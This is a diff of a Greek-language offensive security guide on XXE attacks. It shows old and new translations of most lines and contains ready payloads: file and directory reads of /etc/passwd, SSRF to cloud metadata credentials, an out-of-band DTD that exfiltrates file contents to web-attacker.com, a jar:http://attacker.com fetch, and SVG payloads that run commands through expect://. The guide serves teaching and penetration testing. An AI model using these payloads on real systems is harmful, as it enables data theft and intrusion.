Σε εφαρμογές βασισμένες σε **Java**, ενδέχεται να είναι δυνατή η **καταχώριση των περιεχομένων ενός καταλόγου** μέσω XXE με ένα φορτίο όπως (απλά ζητώντας τον κατάλογο αντί για το αρχείο):
Σε εφαρμογές βασισμένες σε **Java**, ενδέχεται να είναι δυνατή η **καταχώριση των περιεχομένων ενός καταλόγου** μέσω XXE με ένα φορτίο όπως (απλά ζητώντας τον κατάλογο αντί του αρχείου):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -89,7 +91,7 @@
```
### SSRF
Ένα XXE μπορεί να χρησιμοποιηθεί για να καταχραστεί ένα SSRF μέσα σε ένα cloud
Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί ένα SSRF μέσα σε ένα cloud
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -97,7 +99,7 @@
```
### Τυφλή SSRF
Χρησιμοποιώντας την **προηγούμενα σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να εμφανίσει την ευπάθειά του. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **δεν επιτρέπονται τα XML entities**, σε αυτήν την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικά entities**:
Χρησιμοποιώντας τη **προηγούμενα σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να εμφανίσει την ευπάθειά του. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **δεν επιτρέπονται τα XML entities**, σε αυτήν την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικά entities**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -105,9 +107,9 @@
```
### "Τυφλή" SSRF - Εξορύξτε δεδομένα εκτός ζώνης
**Σε αυτήν την περίπτωση θα κάνουμε τον εξυπηρετητή να φορτώσει ένα νέο DTD με ένα κακόβουλο φορτίο που θα στείλει το περιεχόμενο ενός αρχείου μέσω αιτήματος HTTP (**για πολλαπλές γραμμές αρχείων μπορείτε να δοκιμάσετε να το εξορύξετε μέσω** _**ftp://**_ **χρησιμοποιώντας αυτόν τον βασικό εξυπηρετητή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται στο** [**εργαστήριο της Portswigger εδώ**](https://portswigger.net/web-security/xxe/blind)**.**
**Σε αυτήν την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα νέο DTD με ένα κακόβουλο φορτίο που θα στείλει το περιεχόμενο ενός αρχείου μέσω αιτήματος HTTP (**για πολλαπλές γραμμές αρχείων μπορείτε να δοκιμάσετε να το εξορύξετε μέσω** _**ftp://**_ **χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται στο** [**εργαστήριο της Portswigger εδώ**](https://portswigger.net/web-security/xxe/blind)**.**
Στο κακόβουλο DTD που δίνεται, πραγματοποιούνται μια σειρά βημάτων για την εξαγωγή δεδομένων:
Στο κακόβουλο DTD που δίνεται, πραγματοποιούνται μια σειρά από βήματα για την εξαγωγή δεδομένων:
### Παράδειγμα Κακόβουλου DTD:
```xml
@ -116,14 +118,14 @@
%eval;
%exfiltrate;
```
Τα βήματα που εκτελεί αυτό το DTD περιλαμβάνουν:
Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν:
1. **Ορισμός Οντοτήτων Παραμέτρων:**
* Δημιουργείται μια οντότητα παραμέτρου XML, `%file`, που διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`.
* Δημιουργείται μια άλλη οντότητα παραμέτρου XML, `%eval`. Δηλώνει δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ορίζεται να κάνει ένα αίτημα HTTP προς τον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` στη συμβολοσειρά ερωτήματος του URL.
* Δημιουργείται μια οντότητα παραμέτρου XML, `%file`, η οποία διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`.
* Δημιουργείται μια άλλη οντότητα παραμέτρου XML, `%eval`. Δηλώνει δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ορίζεται να κάνει μια αίτηση HTTP στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` στη συμβολοσειρά ερωτήματος του URL.
2. **Εκτέλεση των Οντοτήτων:**
* Χρησιμοποιείται η οντότητα `%eval`, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
* Στη συνέχεια χρησιμοποιείται η οντότητα `%exfiltrate`, ενεργοποιώντας ένα αίτημα HTTP προς το συγκεκριμένο URL με το περιεχόμενο του αρχείου.
* Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
* Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας μια αίτηση HTTP προς το συγκεκριμένο URL με το περιεχόμενο του αρχείου.
Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε ένα URL όπως `http://web-attacker.com/malicious.dtd`.
@ -133,18 +135,16 @@
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Αυτό το φορτίο ορίζει ένα παράμετρο οντότητας XML `%xxe` και τον ενσωματώνει στο DTD. Όταν επεξεργάζεται από έναν αναλυτή XML, αυτό το φορτίο ανακτά το εξωτερικό DTD από τον διακομιστή του επιτιθέμενου. Στη συνέχεια, ο αναλυτής ερμηνεύει το DTD ενσωματωμένα, εκτελώντας τα βήματα που περιγράφονται στο κακόβουλο DTD και οδηγώντας στην εξαγωγή του αρχείου `/etc/hostname` στον διακομιστή του επιτιθέμενου.
### Βασισμένο σε Σφάλματα (Εξωτερικό DTD)
**Σε αυτήν την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό ισχύει μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
**Σε αυτήν την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό ισχύει μόνο αν μπορείτε να δείτε μηνύματα σφαλμάτων).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Ορισμό Τύπου Εγγράφου (DTD). Αυτό επιτυγχάνεται μέσω των ακόλουθων βημάτων:
1. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `file`, η οποία περιέχει το περιεχόμενο του αρχείου `/etc/passwd`.
2. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη παράμετρο οντότητας XML με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα μη υπαρκτό αρχείο, ενσωματώνοντας το περιεχόμενο της οντότητας `file` ως όνομά της.
3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
4. Η κλήση της οντότητας `error` οδηγεί σε μια προσπάθεια φόρτωσης ενός μη υπαρκτού αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει το περιεχόμενο του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
1. Ορίζεται ένα όνομα παραμέτρου XML με το όνομα `file`, το οποίο περιέχει το περιεχόμενο του αρχείου `/etc/passwd`.
2. Ορίζεται ένα όνομα παραμέτρου XML με το όνομα `eval`, το οποίο ενσωματώνει μια δυναμική δήλωση για μια άλλη παράμετρο XML με το όνομα `error`. Αυτή η παράμετρος `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα μη υπαρκτό αρχείο, ενσωματώνοντας το περιεχόμενο της παραμέτρου `file` ως όνομά της.
3. Η παράμετρος `eval` καλείται, οδηγώντας στη δυναμική δήλωση της παραμέτρου `error`.
4. Η κλήση της παραμέτρου `error` οδηγεί σε μια προσπάθεια φόρτωσης ενός μη υπαρκτού αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει το περιεχόμενο του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML:
```xml
@ -154,9 +154,9 @@
```
### **Βασισμένο σε Σφάλματα (σύστημα DTD)**
Τι γίνεται όμως με τις τυφλές ευπάθειες XXE όταν **αποκλείονται οι εκτός-ορίων αλληλεπιδράσεις** (δεν είναι διαθέσιμες εξωτερικές συνδέσεις);
Λοιπόν, τι συμβαίνει με τις τυφλές ευπάθειες XXE όταν **αποκλείονται οι αλληλεπιδράσεις εκτός ζώνης** (δεν είναι διαθέσιμες εξωτερικές συνδέσεις);.
Μια κενή στην προδιαγραφή της γλώσσας XML μπορεί να **αποκαλύψει ευαίσθητα δεδομένα μέσω μηνυμάτων σφαλμάτων όταν η DTD ενός εγγράφου αναμειγνύει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το θέμα επιτρέπει την εσωτερική επανορισμό των οντοτήτων που έχουν δηλωθεί εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την επανορισμό μιας οντότητας παραμέτρου XML, η οποία αρχικά έχει δηλωθεί σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός-ορίων συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να πραγματοποιήσουν την επίθεση, με στόχο την πρόκληση ενός σφάλματος ανάλυσης για την αποκάλυψη ευαίσθητων πληροφοριών.
Μια κενότητα στην προδιαγραφή της γλώσσας XML μπορεί να **αποκαλύψει ευαίσθητα δεδομένα μέσω μηνυμάτων σφαλμάτων όταν η DTD ενός εγγράφου ανακατεύει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το θέμα επιτρέπει την εσωτερική επανορισμό των οντοτήτων που έχουν δηλωθεί εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την επανορισμό μιας οντότητας παραμέτρου XML, που αρχικά έχει δηλωθεί σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι συνδέσεις εκτός ζώνης αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να πραγματοποιήσουν την επίθεση, με στόχο την πρόκληση ενός σφάλματος ανάλυσης για την αποκάλυψη ευαίσθητων πληροφοριών.
Ας υποθέσουμε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, υποβάλλοντας ένα υβριδικό DTD ως εξής:
```xml
@ -174,7 +174,7 @@
Τα παρακάτω βήματα εκτελούνται από αυτό το DTD:
* Ο ορισμός ενός XML παραμετρικού ονόματος οντότητας με το όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
* Μια επανορισμός συμβαίνει για την XML παραμετρική οντότητα `custom_entity`, που αρχικά ορίζεται στο εξωτερικό DTD, για να ενθυλακώσει ένα [εκμεταλλευόμενο XXE exploit βασισμένο σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επανορισμένη ορισμός σχεδιάζεται να προκαλέσει ένα σφάλμα ανάλυσης, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
* Μια επανορισμός συμβαίνει για την XML παραμετρική οντότητα `custom_entity`, η οποία αρχικά ορίζεται στο εξωτερικό DTD, για να ενθυλακώσει ένα [εκμεταλλευόμενο XXE exploit βασισμένο σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επανορισμός σχεδιάζεται να προκαλέσει ένα σφάλμα ανάλυσης, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
* Χρησιμοποιώντας την οντότητα `local_dtd`, το εξωτερικό DTD εμπλέκεται, περικλείοντας τη νεοορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που στοχεύει το exploit.
**Πραγματικό παράδειγμα:** Συστήματα που χρησιμοποιούν το περιβάλλον εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
@ -194,7 +194,7 @@
```
![](<../.gitbook/assets/image (622).png>)
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε **εγκαθιστώντας** το ίδιο **OS / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **ψάχνοντας μερικά προεπιλεγμένα DTDs**, ή **ανακτώντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα στα συστήματα και **ελέγχοντας** αν υπάρχει κάποιο από αυτά:
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **ψάχνοντας μερικά προεπιλεγμένα DTDs**, ή **ανακτώντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα στα συστήματα και **ελέγχοντας** αν υπάρχει κάποιο από αυτά:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -205,11 +205,11 @@
### Εύρεση DTDs μέσα στο σύστημα
Στο εντυπωσιακό αποθετήριο του github που ακολουθεί μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**:
Στο ακόλουθο εκπληκτικό αποθετήριο στο Github μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο από το ίδιο αποθετήριο για να **σαρώσετε** την **εικόνα** και **να βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο από το ίδιο αποθετήριο για να **σαρώσετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του αποθετηρίου στο Github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,21 +221,21 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE μέσω Αναλυτών Αρχείων Office Open XML
### XXE μέσω Αναλυτών Office Open XML
Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του εκπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από τη Detectify**.
Η δυνατότητα **ανέβασμας εγγράφων Microsoft Office προσφέρεται από πολλές web εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή συγκεκριμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια web εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα φύλλο εργασίας σε μορφή XLSX. Προκειμένου ο αναλυτής να εξάγει τα δεδομένα από το φύλλο εργασίας, αναγκαστικά θα χρειαστεί να αναλύσει τουλάχιστον ένα αρχείο XML.
Η δυνατότητα **ανέβασμας εγγράφων Microsoft Office προσφέρεται από πολλές web εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή συγκεκριμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια web εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα φύλλο εργασίας μορφής XLSX. Προκειμένου ο αναλυτής να εξάγει τα δεδομένα από το φύλλο εργασίας, αναπόφευκτα θα χρειαστεί να αναλύσει τουλάχιστον ένα αρχείο XML.
Για να δοκιμάσετε αυτήν την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα φορτίο XXE**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό κατάλογο στον οποίο το έγγραφο μπορεί να αποσυμπιεστεί.
Αφού το έγγραφο έχει αποσυμπιεστεί, το αρχείο XML που βρίσκεται στη διαδρομή `./unzipped/word/document.xml` πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό φορτίο XXE, συχνά ξεκινώντας με ένα αίτημα HTTP.
Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στη διαδρομή `./unzipped/word/document.xml` πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό φορτίο XXE, συχνά ξεκινώντας με ένα αίτημα HTTP.
Οι τροποποιημένες γραμμές XML πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικατασταθεί ο URL με έναν URL που μπορεί να παρακολουθηθεί για αιτήσεις.
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο αρχείο poc.docx. Από τον προηγουμένως δημιουργημένο κατάλογο "unzipped", πρέπει να εκτελεστεί η ακόλουθη εντολή:
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο αρχείο poc.docx. Από τον προηγουμένως δημιουργημένο κατάλογο "unzipped", πρέπει να εκτελεστεί η παρακάτω εντολή:
Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην πιθανώς ευάλωτη web εφαρμογή, και κάποιος μπορεί να ελπίζει για ένα αίτημα να εμφανιστεί στα αρχεία καταγραφής του Burp Collaborator.
Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη web εφαρμογή, και κάποιος μπορεί να ελπίζει για ένα αίτημα να εμφανιστεί στα αρχεία καταγραφής του Burp Collaborator.
### Πρωτόκολλο Jar
@ -245,24 +245,24 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων συστήματος DTD.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε αρχεία συστήματος DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων συστήματος DTD.** Ελέγξτε [αυτή την ενότητα για να μάθετε πως να καταχρηστείτε αρχεία συστήματος DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα:
Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει τα ακόλουθα βήματα:
1. Γίνεται μια αίτηση HTTP για τον λήψη του αρχείου zip από μια συγκεκριμένη τοποθεσία, όπως `https://download.website.com/archive.zip`.
1. Γίνεται ένα αίτημα HTTP για τον λήψη του αρχείου zip από μια συγκεκριμένη τοποθεσία, όπως `https://download.website.com/archive.zip`.
2. Η απάντηση HTTP που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε τοποθεσία όπως `/tmp/...`.
3. Το αρχείο εξάγεται για να έχει πρόσβαση στο περιεχόμενό του.
3. Στη συνέχεια εξάγεται το αρχείο για να έχει πρόσβαση στο περιεχόμενό του.
4. Διαβάζεται το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`.
5. Μετά τη λειτουργία, τυχόν προσωρινά δημιουργημένα αρχεία κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται.
Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτήν τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτή για αόριστο χρονικό διάστημα κατά την παροχή του αρχείου αρχείου. Εργαλεία που είναι διαθέσιμα στο [αποθετήριο αυτό](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτόν τον σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`).
Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτήν τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτή για αόριστο χρονικό διάστημα κατά την παροχή του αρχείου αρχείου. Εργαλεία που είναι διαθέσιμα σε [αυτό το αποθετήριο](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτόν τον σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Η εγγραφή αρχείων σε έναν προσωρινό κατάλογο μπορεί να βοηθήσει στην **επιδείνωση μιας άλλης ευπάθειας που σχετίζεται με μετάβαση διαδρομής** (όπως τοπική συμπερίληψη αρχείου, ενσωμάτωση προτύπου, XSLT RCE, απεικονισμός, κλπ).
Η εγγραφή αρχείων σε έναν προσωρινό κατάλογο μπορεί να βοηθήσει στην **επιδείνωση μιας άλλης ευπάθειας που σχετίζεται με μια διάβαση διαδρομής** (όπως η τοπική συμπερίληψη αρχείου, ενσωμάτωση προτύπου, XSLT RCE, απεικειοποίηση, κλπ).
{% endhint %}
### XSS
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
## Κρυφές Επιφάνειες XXE
## Κρυμμένες Επιφάνειες XXE
### XInclude
@ -322,17 +322,17 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
Ελέγξτε το [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
### SVG - Μεταφόρτωση Αρχείων
### SVG - Μεταφόρτωση Αρχείου
Τα αρχεία που μεταφορτώνονται από χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο με τον οποίο χειρίζονται τα αρχεία XML ή αρχεία που περιέχουν XML. Δημοφιλής μορφές αρχείων όπως εγγράφα (DOCX) και εικόνες (SVG) βασίζονται στο XML.
Όταν οι χρήστες **μεταφορτώνουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται στον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνων του διακομιστή ενδέχεται να υποστηρίζει επίσης εικόνες SVG**. Το SVG, καθώς είναι μια μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
Όταν οι χρήστες **μεταφορτώνουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται στον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνων του διακομιστή ενδέχεται να υποστηρίζει επίσης εικόνες SVG**. Το SVG, καθώς είναι μια μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για την υποβολή κακόβουλων εικόνων SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
Ένα παράδειγμα τέτοιας εκμετάλλευσης παρουσιάζεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια να **εκτελέσετε εντολές** μέσω του PHP "expect" wrapper:
Ένας άλλος τρόπος περιλαμβάνει την προσπάθεια να **εκτελέσετε εντολές** μέσω του PHP "expect" wrapper:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -340,9 +340,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
Και στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκτελέσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για αξιόπιστο έλεγχο εισόδου και μέτρα ασφαλείας.
Ελέγξτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
Ελέγξτε το [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
**Σημείωση: Η πρώτη γραμμή του αρχείου που διαβάζετε ή του αποτελέσματος της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στη δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που δημιούργησε το SVG.**
**Σημείωση: Η πρώτη γραμμή του αρχείου που διαβάζετε ή το αποτέλεσμα της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στη δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που δημιούργησε το SVG.**
### **PDF - Μεταφόρτωση αρχείου**
@ -370,9 +370,9 @@ Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type: Από JSON σε XEE
### Τύπος Περιεχομένου: Από JSON σε XEE
Για να αλλάξετε το αίτημα μπορείτε να χρησιμοποιήσετε μια επέκταση του Burp με το όνομα "**Content Type Converter**". [Εδώ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) μπορείτε να βρείτε αυτό το παράδειγμα:
Για να αλλάξετε το αίτημα μπορείτε να χρησιμοποιήσετε μια επέκταση Burp με το όνομα "**Content Type Converter**". [Εδώ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) μπορείτε να βρείτε αυτό το παράδειγμα:
```xml
Content-Type: application/json;charset=UTF-8
@ -432,8 +432,8 @@ Content-Type: application/xml;charset=UTF-8
### Οντότητες HTML
Κόλπος από το [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
